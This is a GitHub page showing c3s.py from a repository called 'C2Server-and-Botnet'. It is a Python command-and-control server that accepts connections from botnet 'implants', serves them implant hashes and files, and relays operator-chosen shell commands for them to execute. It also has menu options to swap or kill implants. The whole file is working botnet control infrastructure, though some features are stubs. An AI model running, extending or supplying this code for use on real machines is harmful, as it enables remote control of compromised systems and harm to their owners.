forked from Matt-Gaston/C2Server-and-Botnet
-
Notifications
You must be signed in to change notification settings - Fork 0
/
c3s.py
184 lines (163 loc) · 5.92 KB
/
c3s.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
import socket
import os
import threading
class C2Server:
def __init__(self):
# self.find_current_implant()
self.port = 5000
self.host = "0.0.0.0"
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
self.sock.bind((self.host, self.port))
self.cur_implant = "implant_1.java"
self.cur_implant_hash, self.cur_implant_path = self.find_current_implant()
self.selected_command = "na"
self.args = None
self.file_name = None
def listen(self):
print("Listening for conns")
self.sock.listen(10)
while True:
clientConn, addr = self.sock.accept()
print("Accepted client from:", addr)
clientConn.settimeout(69)
threading.Thread(
target=ClientHandler,
args=(
clientConn,
addr,
self.selected_command,
self.cur_implant_hash,
self.cur_implant_path,
self.args,
),
).start()
self.printMenu()
def invalidChoice(self):
return input("Error: Invalid choice..")
def printMenu(self):
print("\n------------------------------------")
print("Currently selected implant: " + str(self.cur_implant))
print("Currently selected operation: " + str(self.selected_command))
if self.selected_command == "bc":
print("Currently selected command: " + str(self.args))
if self.selected_command == "dl":
print("Currently selected file: " + str(self.args))
print(
"""
1.) Execute single command
2.) Upload file to implant
3.) Upload script
4.) Choose new implant
5.) Kill and delete implant
6.) Do nothing
"""
)
print("Select option:")
def setCommmandAndArgs(self, selection):
if selection == 1:
self.selected_command = "bc"
self.args = input("Type command to be excuted: ")
elif selection == 2:
self.selected_command = "dl"
self.args = input("Type filename of file: ")
elif selection == 3:
pass
elif selection == 4:
self.cur_implant = input("Type filename of implant: ")
self.cur_implant_hash, self.cur_implant_path = self.find_current_implant()
elif selection == 5:
choice = input("Are you sure(yes/no)? ")
if choice == "yes":
input("Killing and deleting implant...")
elif choice == "no":
input("Implant not deleted...")
else:
self.invalidChoice()
elif selection == 6:
self.selected_command = "na"
self.args = ""
print("Opertation Cleared...")
else:
self.invalidChoice()
def run(self):
threading.Thread(target=self.listen).start()
while True:
self.printMenu()
selection = int(input())
self.setCommmandAndArgs(selection)
def find_current_implant(self):
implant = {}
if not os.path.isfile("./implants/" + str(self.cur_implant)):
self.invalidChoice()
self.cur_implant = "implant_1.java" # This should be default implant
for file in os.listdir("./implants"):
if file.endswith(".java") and file == self.cur_implant:
implant_path = os.path.join("./implants", file)
cur_implant = int(os.path.getctime(implant_path))
implant[cur_implant] = implant_path
if cur_implant:
with open("current_hash.txt", "w") as f:
f.write(str(cur_implant))
return cur_implant, implant[cur_implant]
class ClientHandler:
def __init__(
self,
clientConn: socket,
addr,
selected_command,
cur_implant_hash,
cur_implant_path,
args,
) -> None:
self.clientConn = clientConn
self.addr = addr
self.MSGSIZE = 4096
self.selected_command = selected_command
self.args = args
self.cur_implant_hash = cur_implant_hash
self.cur_implant_path = cur_implant_path
self.main()
def sendMsg(self, message: str):
sendMsg = message.encode()
self.clientConn.send(sendMsg)
def recvMsg(self):
receivedMessage = self.clientConn.recv(self.MSGSIZE).decode("utf-8")
return receivedMessage
def sendFile(self, path: str):
print("sending")
with open(path, "r") as f:
while True:
bytesRead = f.read(self.MSGSIZE)
if not bytesRead:
print("done sending file")
break
self.sendMsg(bytesRead)
print("done")
def doAction(self, command: str, arguments: list[str]):
if command == "hash": # Send current hash back
self.sendMsg(str(self.cur_implant_hash))
elif command == "update": # TODO send updated hash if implant is outdated
self.sendMsg("New Hash: " + str(self.cur_implant_hash))
elif command == "what": # Send command back to implant
if self.selected_command == "na":
self.sendMsg("na")
elif self.selected_command == "bc":
self.sendMsg("bc " + self.args)
def main(self):
while True:
try:
data = self.recvMsg()
if data:
# *args in the format ["arg1", "arg2"]
command, *args = data.split()
self.doAction(command, args)
except Exception as e:
print(e)
print("closing connection forcibly, exception")
self.clientConn.close()
def main():
c2 = C2Server()
c2.run()
if __name__ == "__main__":
main()